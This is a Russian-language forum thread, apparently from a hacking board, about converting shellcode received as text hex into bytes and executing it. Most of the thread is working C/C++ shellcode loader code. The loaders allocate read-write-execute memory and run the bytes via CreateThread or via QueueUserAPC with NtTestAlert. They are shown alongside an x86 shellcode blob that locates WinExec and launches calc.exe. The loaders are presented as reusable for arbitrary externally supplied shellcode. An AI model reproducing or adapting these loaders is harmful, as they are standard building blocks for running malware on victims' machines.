Приведение типов char[] в const char[]

Quake3

генератор Зла
Модератор
Регистрация
03.11.2010
Сообщения
1 066
Реакции
781
Депозит
0.01
Баллы
114
Приходит в программу извне, в текстовом виде.
Вопрос:
Каким образом его можно запустить?
Очевидно же, его нужно преобразовать с "текстового вида" в бинарный, т.е. \x04 это 1 байт со значением нуллбайт+4, а "\х04" это уже четыре байта с совершенно другими значениями. Нужно конвертировать одно в другое, примерно так.

//для примера, шк лежит в файле шелл.тхт, ты его читаешь в переменную
C:
char buff[128] = { 0 };
    FILE *f = fopen("shell.txt", "r");
    if (f)
    {
        fgets(buff, 127, f);
    }
Далее , выбираешь только числа (икс и слеш тебе не нужны), конвертируешь их в хекс .

C:
    unsigned char raw[32];

    for (int i = 0, y=0, len = lstrlenA(buff); i < len; i += 4,y++)
    {
        char code[3];
        int scode = 0;
        code[0] = buff[i + 2];
        code[1] = buff[i + 3];
        scode = strtol(code, NULL, 16);
        raw[y] = scode;

        memset(code, 0, 3);

    }
   fclose(f);
в raw будет твой шк, уже рабочий. Писал на скорую руку, но думаю суть ясна, если нет - спрашивай.
 

V354720

CD-диск
Пользователь
Регистрация
03.06.2020
Сообщения
11
Реакции
3
Баллы
3
Если я задаю шелкод так:
C++:
    const char shellcode[] =
        "\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b"
        "\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3"
        "\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24"
        "\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14"
        "\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18"
        "\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74"
        "\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41"
        "\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52"
        "\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51"
        "\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff"
        "\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f"
        "\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2"
        "\x52\xff\xd0";
То всё работает, если я читаю этот же текст из файла и пытаюсь выполнить то ничего не получается. (код с чтением из файла в комментарии)
Файл долвен быть бин а не техт. Возьми любой бин файл редактор и создай бин файл.
 

Apocalypse

(L1) cache
Пользователь
Регистрация
28.06.2011
Сообщения
611
Реакции
538
Баллы
101
ReadFile(FileHandle, &Line, Size, &R, NULL);


Может все-таки так?

C:
    FileHandle = CreateFileA("C:\\Temp\\shellcode.txt", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    Size = GetFileSize(FileHandle, NULL);
    PVOID shellcode_exec = VirtualAlloc(0, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    ReadFile(FileHandle, shellcode_exec, Size, &R, NULL);
    HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, NULL);
    if (hThread) {
        WaitForSingleObject(hThread, INFINITE);
    }
Так точно должно работать.
 
Последнее редактирование:

NEONFACE

RAID-массив
Пользователь
Регистрация
24.03.2019
Сообщения
51
Реакции
22
Баллы
9
Очевидно же, его нужно преобразовать с "текстового вида" в бинарный, т.е. \x04 это 1 байт со значением нуллбайт+4, а "\х04" это уже четыре байта с совершенно другими значениями. Нужно конвертировать одно в другое, примерно так.

//для примера, шк лежит в файле шелл.тхт, ты его читаешь в переменную
C:
char buff[128] = { 0 };
    FILE *f = fopen("shell.txt", "r");
    if (f)
    {
        fgets(buff, 127, f);
    }
Далее , выбираешь только числа (икс и слеш тебе не нужны), конвертируешь их в хекс .

C:
    unsigned char raw[32];

    for (int i = 0, y=0, len = lstrlenA(buff); i < len; i += 4,y++)
    {
        char code[3];
        int scode = 0;
        code[0] = buff[i + 2];
        code[1] = buff[i + 3];
        scode = strtol(code, NULL, 16);
        raw[y] = scode;

        memset(code, 0, 3);

    }
   fclose(f);
в raw будет твой шк, уже рабочий. Писал на скорую руку, но думаю суть ясна, если нет - спрашивай.
Вот это уже разговор, поставил бы лайк, но уже нет.
Покурю кодес на досуге, спасибо.
 

user

floppy-диск
Пользователь
Регистрация
26.08.2019
Сообщения
6
Реакции
0
Баллы
1
как вариант запуска
тест проводился на win 10 build 17763
Код:
#include <Windows.h>


#pragma comment(lib, "ntdll")
using myNtTestAlert = NTSTATUS(NTAPI*)();


int APIENTRY _EntryPoint()
{


    const char  s[] =
    {

            "\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b"
            "\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3"
            "\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24"
            "\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14"
            "\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18"
            "\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74"
            "\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41"
            "\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52"
            "\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51"
            "\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff"
            "\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f"
            "\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2"
            "\x52\xff\xd0"

    };

    myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));

    SIZE_T shellSize = sizeof(s);
    LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(GetCurrentProcess(), shellAddress, s, shellSize, NULL);

    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
    testAlert();

    return 0;
   
}
 

NEONFACE

RAID-массив
Пользователь
Регистрация
24.03.2019
Сообщения
51
Реакции
22
Баллы
9
Да уже победил, нашёл хороший пример, осталось причесать и избавиться от зависимостей.
Для меня было неочевидно что интерпретатор Escape-последовательность сразу воспринимает как набор байтов.

Рабочий черновик:
C++:
#include "windows.h"

int hexchr2bin(const char hex, char* out)
{
    if (out == NULL)
        return 0;

    if (hex >= '0' && hex <= '9') {
        *out = hex - '0';
    }
    else if (hex >= 'A' && hex <= 'F') {
        *out = hex - 'A' + 10;
    }
    else if (hex >= 'a' && hex <= 'f') {
        *out = hex - 'a' + 10;
    }
    else {
        return 0;
    }
    return 1;
}

size_t hexs2bin(const char* hex, unsigned char** out)
{
    size_t len;
    char   b1;
    char   b2;
    size_t i;

    if (hex == NULL || *hex == '\0' || out == NULL)
        return 0;

    len = strlen(hex);
    if (len % 2 != 0)
        return 0;
    len /= 2;

    *out = (unsigned char*)malloc(len);
    memset(*out, 'A', len);
    for (i = 0; i < len; i++) {
        if (!hexchr2bin(hex[i * 2], &b1) || !hexchr2bin(hex[i * 2 + 1], &b2)) {
            return 0;
        }
        (*out)[i] = (b1 << 4) | b2;
    }
    return len;
}

int main(int argc, char** argv)
{
    const char* hex = "89e583ec2031db648b5b308b5b0c8b5b1c8b1b8b1b8b43088945fc8b583c01c38b5b7801c38b7b"
                      "2001c7897df88b4b2401c1894df48b531c01c28955f08b53148955eceb3231c08b55ec8b7df88b"
                      "751831c9fc8b3c87037dfc6683c108f3a674054039d072e48b4df48b55f0668b04418b04820345"
                      "fcc3ba78786563c1ea08526857696e45896518e8b8ffffff31c951682e6578656863616c6389e3"
                      "415153ffd031c9b901657373c1e908516850726f636845786974896518e887ffffff31d252ffd0";
    unsigned char* bin;
    char shellcode[196];

    hexs2bin((const char*)hex, &bin);
    for (size_t i = 0; i < strlen((const char*)bin); i++)
    {
        shellcode[i] = (char)(const char*)bin[i];
    };
    PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (shellcode_exec) {
        RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
        DWORD threadID;
        HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
        if (hThread) {
            WaitForSingleObject(hThread, INFINITE);
        }
    }
    free(bin);
    return 0;
}
Ссылочки:
 

swagcat228

RAID-массив
Пользователь
Регистрация
23.12.2019
Сообщения
74
Реакции
60
Баллы
24
Проскроль эту страницу, и там первое сообщение прочитай его. Потом вернись и скажи где я пишу шелкоды.
О каких базовых понятиях ты говоришь?

Дано:
Шелкод в HEX написаный не мной, выглядит так:
\x89\xe5\x83\xec... или так 0x89 0xe5 0x83 0xec... или так 89e583ec...
Приходит в программу извне, в текстовом виде.
Вопрос:
Каким образом его можно запустить?

Либо давайте обсуждать, либо не пишите странные вещи и не делайте поспешных выводов.
Как мне обучаться и чем заниматься я думаю что решу сам.
Конвертируй его в байты посредством atoi() itoa()
 
Верх